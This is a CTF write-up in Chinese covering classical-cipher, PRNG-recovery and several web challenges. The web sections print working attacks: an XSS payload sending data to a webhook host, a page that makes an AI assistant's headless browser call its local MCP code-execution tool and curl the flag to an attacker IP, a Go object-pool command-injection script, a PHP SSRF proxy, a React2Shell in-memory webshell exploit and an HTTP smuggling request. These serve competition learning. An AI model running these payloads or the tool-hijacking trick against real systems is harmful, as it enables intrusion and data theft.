1. web 魔法书
    根据提示 抓包改阅读时间 得到弹窗
  2. 密码 Classic
    最后一行密文
    VUHHX{Tti Julxmzooz sm zhq Rlc azh ane Apk}
    然后明文VIDAR
1
2
3
4
5
6
计算偏移量:
- V -> V: 偏移 0 (A)
- U -> I: 偏移 12 (M) (U=20, I=8, 20-12=8)
- H -> D: 偏移 4 (E) (H=7, D=3, 7-4=3)
- H -> A: 偏移 7 (H) (H=7, A=0, 7-0=7)
- X -> R: 偏移 6 (G) (X=23, R=17, 23-6=17)
  • 密文: Tti Julxmzooz sm zhq Rlc azh ane Apk
  • 密钥: AME HGAMEHGAM EH GAM EHG AME HGA MEH
  • Tti (Key: AME) -> The
  • Julxmzooz (Key: HGAMEHG…) -> Collision
  • sm (Key: EH) -> of
  • zhq (Key: GAM) -> the
  • Rlc (Key: EHG) -> New
  • azh (Key: AME) -> and
  • ane (Key: HGA) -> the
  • Apk (Key: MEH) -> Old
    直接用减法去减
    以为要加下划线 服了 试了好久 原来直接拼上就可以了
  1. 密码 Flux
    ai梭的 解答过程如下
    第一步:攻破 QCG 生成器
    • 利用题目给出的 4 个连续随机数 $x_1, x_2, x_3, x_4$,构建方程组。

    • 通过消元法解线性方程组,成功恢复了 QCG 的参数:

      • $a = 36792…$

      • $b = 57247…$

      • $c = 51112…$

第二步:回溯初始状态 (h)

- 已知 $x_1 = (a \cdot h^2 + b \cdot h + c) \pmod n$。
    
- 这是一个关于 $h$ 的一元二次方程。使用 **Tonelli-Shanks 算法** 求模平方根,得到了两个可能的 $h$ 值。
    

第三步:逆向 shash (逐位攻击)
- 这是最精彩的一步。通常这类问题会用 Z3 Solver,但我发现由于运算包含 + (乘法) 和 ^ (异或),且是从低位向高位传播,低位的输出结果只取决于低位的 Key。
- 因此,我不需要暴力穷举 $2^{70}$,而是一位一位地猜
- 从第 0 位开始,猜 Key 的第 0 位是 0 还是 1,验证输出的第 0 位是否匹配 $h$。匹配上了就继续猜第 1 位……
- 最终成功对其中一个 $h$ 值恢复出了 Key:860533

  1. web 博丽神社的绘马挂

    前端有一些路由泄露
    祈福看看

    找到个xss漏洞
    验证了一下 无需闭合 最简单的即可触发 可能有些过滤 但是没管了
    <img src=x onerror=alert(1)>
    试试外带 可以外带出去 但是偷不到cookie 可能是过滤了 也或者是根本就不在这里
    自动带上 Bot 的 Cookie 这个接口是前端泄露的
1
<img src=x onerror=\"fetch('/api/archives').then(res=>res.text()).then(t=>fetch('https://webhook.site/73296464-c885-4e1b-ab7e-a8e533ddf8be/?m='+btoa(t))) \">

收到后解码

5. web My Little Assistant我觉得非常有意思 考点也很新奇的一道题 是mcp呢

最开始以为像极客那样 可以自己写入mcp工具 然后去读本地文件 不行 然后以为可以用它执行代码的mcp服务器去读本地文件

才发现完全用不了
(最开始以为是自己代码里面有被过滤的 往沙箱逃逸那方面去想了)后面发现就是完全用不了
然后去看看附件

1
2
3
4
5
6
7
async def py_eval(code: str):
try:
local_vars = {}
exec(code, {}, local_vars)
return {"result": str(local_vars), "status": "success"}
except Exception as e:
return {"error": str(e), "status": "failed"}

再看这个py_request

1
2
3
4
browser = await p.chromium.launch(
headless=True,
args=["--no-sandbox", "--disable-dev-shm-usage", "--disable-web-security"]
)

它开启了 --disable-web-security,这意味着 CORS(跨域策略)被禁用了
让 AI 用 py_request 去访问一个我们控制的网页 这个网页里包含一段 JavaScript 代码,这段 JS 会在 AI 的浏览器里执行,向 AI 本地的 8001 端口 发送一个 POST 请求,假装是 AI 自己在调用 py_eval 那么自己在服务器去搞个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<body>
<h1>Stealing Flag...</h1>
<script>
// 1. 构造 Payload:直接用 curl 把 flag 发给你的 2333 端口
const pythonPayload = "import os; os.popen('curl http://47.109.24.42:2333/$(cat /flag*)')";

// 2. 发送请求给本地 API
const apiData = {
"jsonrpc": "2.0", "id": 1,
"params": {
"name": "py_eval",
"arguments": { "code": pythonPayload }
}
};

fetch("http://127.0.0.1:8001/mcp", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(apiData)
});
</script>
</body>
</html>

这段代码在服务器的浏览器里执行了
http://127.0.0.1:8001/mcp 发送一个 POST 请求,执行 cat /flag
请求是从服务器内部的浏览器发出的,目标又是 127.0.0.1 (服务器自己) 这里是直接发给我服务器(因为我怕长度限制影响了 有点麻烦)
其实最开始这个也可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Attack</title>
</head>
<body>
<h1>...</h1>
<div id="result">Waiting for flag...</div>
<script>
// 1. 构造要执行的 Python Payload
// 这里的逻辑是:读取根目录下的 /flag 文件(如果不确定文件名,可以用 'ls /' 先看一眼)
const pythonPayload = "import os; flag = os.popen('cat /flag*').read()";

// 2. 构造发给 MCP API 的数据包
const apiData = {
"jsonrpc": "2.0",
"id": 1,
"params": {
"name": "py_eval", // 绕过聊天框,直接调用后端的 py_eval
"arguments": {
"code": pythonPayload
}
}
};

// 3. 让 Bot 的浏览器向它自己的本地接口 (127.0.0.1:8001) 发送请求
fetch("http://127.0.0.1:8001/mcp", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(apiData)
})
.then(res => res.json())
.then(data => {
document.getElementById("result").innerText = JSON.stringify(data);
})
.catch(err => {
document.getElementById("result").innerText = "Error: " + err;
});
</script>
</body>
</html>


得不完 前面没用到的前端 还有这个ls删掉就完了
下面是我用发服务器方法搞得

6. web MyMonitor
sync.Pool
在 Go 语言高并发场景下,频繁创建和销毁对象(比如每次请求都 new 一个结构体)会给垃圾回收(GC)带来巨大压力
sync.Pool 可以看做成一个公共借用池
Get(): 需要用对象时,去池子里拿一个。如果池子是空的,就新建一个。
Put(): 用完了,把对象放回池子里,供下一个人使用。
handler.go 中的 UserCmd 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func UserCmd(c *gin.Context) {
// [1] 从池子里借出一个对象
monitor := MonitorPool.Get().(*MonitorStruct)

// [2] 这是一个 defer,函数结束前一定会执行:把对象放回池子
defer MonitorPool.Put(monitor)

// [3] 绑定 JSON 数据:把用户发的 JSON 填入 monitor 对象
if err := c.ShouldBindJSON(monitor); err != nil {
// [!] 漏洞点在这里!
// 如果绑定报错(比如缺了必填字段),直接 return
c.JSON(400, gin.H{"error": err.Error()})
return
}

// ...
// [4] 负责清理对象的 reset,定义在 return 之后
defer monitor.reset()
// ...
}

Go 的 JSON 解析器会一边解析一边赋值。它先把 monitor.Args 赋值为 "填进去的东西",然后检查 cmd 字段发现缺失,这才报错 err != nil
此时,monitor 对象变成了:{Cmd: "", Args: "恶意代码"}
一个带着恶意 Args 数据的“脏对象”被放回了池子里!
AdminCmd 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
func AdminCmd(c *gin.Context) {
// [A] Bot 从池子里取对象
// Bot 正好取到了你刚才放回去的那个“脏对象”
monitor := MonitorPool.Get().(*MonitorStruct)
defer MonitorPool.Put(monitor)

// [B] Bot 发送请求:{"cmd": "ls"}
// 注意:Bot 的请求里没有 "args" 字段
if err := c.ShouldBindJSON(monitor); err != nil { ... }

// [C] 拼接命令
// monitor.Cmd 被 Bot 更新为 "ls"
// monitor.Args 因为 Bot 没传,所以保留了原来的值(你的恶意代码)!!!
fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args)
// 结果变成: "ls ; curl .../flag"

// [D] 执行
exec.Command("bash", "-c", fullCommand).CombinedOutput()
}

因为 JSON 绑定通常是增量更新的。如果 JSON 里面没有 args 字段,解析器就不会去碰结构体里的 Args 字段(也就是说我放的毒不会被覆盖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests  
import random
import string
import time

# ================= 配置区域 =================# 题目地址
TARGET_URL = "http://cloud-middle.hgame.vidar.club:30267"
# 你的云服务器 IP (用来接收 Flag)YOUR_VPS_IP = "47.109.24.42"
# 你的云服务器监听端口
YOUR_VPS_PORT = "2333"


# ===========================================

def random_str(length=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))


def get_token():
"""自动注册并获取 Token""" username = random_str()
password = random_str()
print(f"[*] 正在注册随机账号: {username} / {password} ...")

try:
res = requests.post(f"{TARGET_URL}/api/account/register", json={
"username": username,
"password": password
})

if res.status_code == 200:
token = res.json().get("Authorization")
if token:
print(f"[+] Token 获取成功: {token[:20]}...")
return token
else:
print(f"[-] 注册失败: {res.text}")
except Exception as e:
print(f"[!] 连接错误: {e}")
return None


def poison_pool(token):
"""发送脏数据污染对象池"""
# 构造 payload: 只有 args,没有 cmd # 这里的 payload 会在服务器上执行: bash -c {monitor.Cmd} ; curl ...
payload_args = f"; curl http://{YOUR_VPS_IP}:{YOUR_VPS_PORT}/$(cat /flag)"

headers = {
"Content-Type": "application/json",
"Authorization": token
}

data = {
"args": payload_args
# 注意:这里故意不传 "cmd" 字段,触发 binding error }

print(f"[*] 正在发送污染包 (Target -> {YOUR_VPS_IP})...")
try:
res = requests.post(f"{TARGET_URL}/api/user/cmd", json=data, headers=headers)

# 我们期望收到 400 错误,包含 'Field validation for Cmd failed' if "Field validation" in res.text and "Cmd" in res.text:
print("[+] 攻击成功!对象池已污染 (Dirty Object Injected)")
print("[*] 现在请盯着你的 VPS 日志,等待 Bot 触发...")
else:
print(f"[-] 响应未达预期 (可能也成功了): {res.text}")

except Exception as e:
print(f"[!] 发送请求失败: {e}")


if __name__ == "__main__":
token = get_token()
if token:
poison_pool(token)


7. misc 打好基础
先放在随波逐流里面一键解码 感觉就base100有点像能二次解码的东西 提出来 然后
ok了
8. Vidarshop
爆破出jwt密钥 为111 但这个题其实可以不爆破啊 直接取个擦边的 比如admin1之类的去看生成规则 伪造完uid之后 我以为可以直接抓包改了 没用 后面想到原型链污染
就这样子
然后
去购买flag即可
9. easyuu
通过抓包 存在路径穿越 可读取任意文件

在 /app/update 发现 easyuu.zip 源码包

解压后审计 src/app.rs / src/main.rs,发现:

  • list_dir(path: String) -> /api/list_dirpath 完全可控,可任意目录遍历。
  • upload_file(data) -> /api/upload_file,支持 path1 字段改写写入目录。
  • main.rs 存在后台 update_watcher():每 5 秒执行 ./update/easyuu --version
    然后传入这个脚本
1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
system("env > /app/uploads/1.txt");
return 0;
}

意思就是把环境变量写入这个文件 然后可以看到

以下是复现 官方wp写的草率 不过反而学到了更多
10. baby web
能够正常传php马 但是看不到什么
能拿到的信息比较少 内网探测

内网存在 10.0.0.2
上传一个PHP代理脚本,利用PHP的curl扩展作为SSRF跳板访问内网Next.js服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
// 1. 接收你想访问的内网路径,默认访问根目录
$path = isset($_GET['path']) ? $_GET['path'] : '/';
$url = "http://10.0.0.2:3000" . $path;

// 2. 初始化 cURL,准备向内网发包
$ch = curl_init($url);
$method = $_SERVER['REQUEST_METHOD'];
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

// 3. 【关键点】转发 Content-Type 请求头
// 漏洞利用强依赖 Content-Type 中的 boundary 参数,必须透传
$headers = array();
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? $_SERVER["CONTENT_TYPE"] : '';
if ($contentType) {
$headers[] = "Content-Type: " . $contentType;
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// 4. 【关键点】转发原始 POST 实体
if ($method === 'POST') {
// 导师划重点:千万不要用 $_POST!
// php://input 可以读取到最原始的、未经 PHP 解析的 HTTP Body 数据
$body = file_get_contents('php://input');
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
}

// 5. 获取响应并返回给攻击者(你的电脑)
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

$response = curl_exec($ch);
echo $response;

curl_close($ch);
?>


可以看到这里是有flag的 但是无法进行更多操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

// 专门用于打 Next.js 的代理

$url = "http://10.0.0.2:3000/";

$ch = curl_init($url);



// 强行指定 POST 方法

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');



// 【核心魔法】在这里硬编码 Next.js 需要的漏洞触发头

// 这样就完美避开了 PHP 对 multipart 的拦截

$headers = array(

    "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCVE202555182",

    "Next-Action: exploit_cve_2025_55182"

);

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);



// 因为 Python 传来的是纯文本,php://input 里完好无损地保存着我们的 Payload

$body = file_get_contents('php://input');

curl_setopt($ch, CURLOPT_POSTFIELDS, $body);



curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

echo curl_exec($ch);

curl_close($ch);

?>

继续传 最后ai利用CVE-2025-55182挂上了内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests  
import urllib.parse
import time

# 代理地址
exploit_proxy_url = "http://forward.vidar.club:32211/uploads/exploit_proxy.php"
normal_proxy_url = "http://forward.vidar.club:32211/uploads/9.php"

boundary = "----WebKitFormBoundaryCVE202555182"

# ================= 第五步:注入内存 Webshell =================# 真正的内存马:兼容 Function 作用域,挂载底层 http 拦截器
memory_webshell_js = "try{var rq=typeof process!=='undefined'&&process.mainModule?process.mainModule.require:require;var h=rq('http');var cp=rq('child_process');if(!h.Server.prototype.__hk){var o=h.Server.prototype.emit;h.Server.prototype.emit=function(e,req,res){if(e==='request'&&req.url.indexOf('cmd=')!==-1){try{var c=decodeURIComponent(req.url.split('cmd=')[1].split('&')[0]);res.writeHead(200);res.end(cp.execSync(c).toString());}catch(err){res.writeHead(500);res.end(err.message);}return;}return o.apply(this,arguments);};h.Server.prototype.__hk=true;}}catch(ex){}//"

chunk_0 = f'{{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{{\\"then\\":\\"$B1337\\"}}","_response":{{"_prefix":"{memory_webshell_js}","_formData":{{"get":"$1:constructor:constructor"}}}}}}'

raw_body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f'{chunk_0}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
f"--{boundary}--\r\n"
)

print("[*] 第五步:正在利用真实 React2Shell PoC 注入内存马...")
try:
# 依然使用纯文本伪装,防 PHP 吃掉 multipart requests.post(
exploit_proxy_url,
headers={"Content-Type": "text/plain"},
data=raw_body.encode('utf-8')
)
print("[+] 注入指令已发送!")
except Exception as e:
print("[-] 网络请求异常:", e)

# 给 Node.js 一点时间处理反序列化并挂载钩子
time.sleep(2)

# ================= 第六步:读取 Flag =================print("\n[*] 第六步:利用被动内存马读取 Flag...")

# 对路径和命令进行双重 URL 编码,确保安全穿透 PHP 代理到达内网
cmd = urllib.parse.quote("cat /flag")
path = urllib.parse.quote(f"/?cmd={cmd}")

target_url = f"{normal_proxy_url}?path={path}"

try:
res = requests.get(target_url)
print("\n================ 🏆 FLAG ================")
if res.status_code == 200 and "flag{" in res.text:
print(res.text.strip())
elif "flag{" in res.text:
print(res.text.strip())
else:
print("未直接看到 Flag,返回内容:\n", res.text[:500])
print("==========================================")
except Exception as e:
print("[-] 获取 Flag 失败:", e)

得到flag flag{T4RGeT-IN-FAk3_tARG3t_xIXl6d1b2d2d1}
这个漏洞后面可以进行研究一下
11. 文文新闻
第二周里面应该打出来的题 自己没有死磕 刚学的东西不拿出去用
TE.CL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/login HTTP/1.1
Host: forward.vidar.club:31300
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

a1
POST /api/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Authorization: 3dc1f3d7-61bf-4acc-a045-586c81f6245b
Content-Length: 350

content=
0


前端全部发送过去后 后端要接受350个长度的字符 这时候bot来访问 然后就带上信息了 得到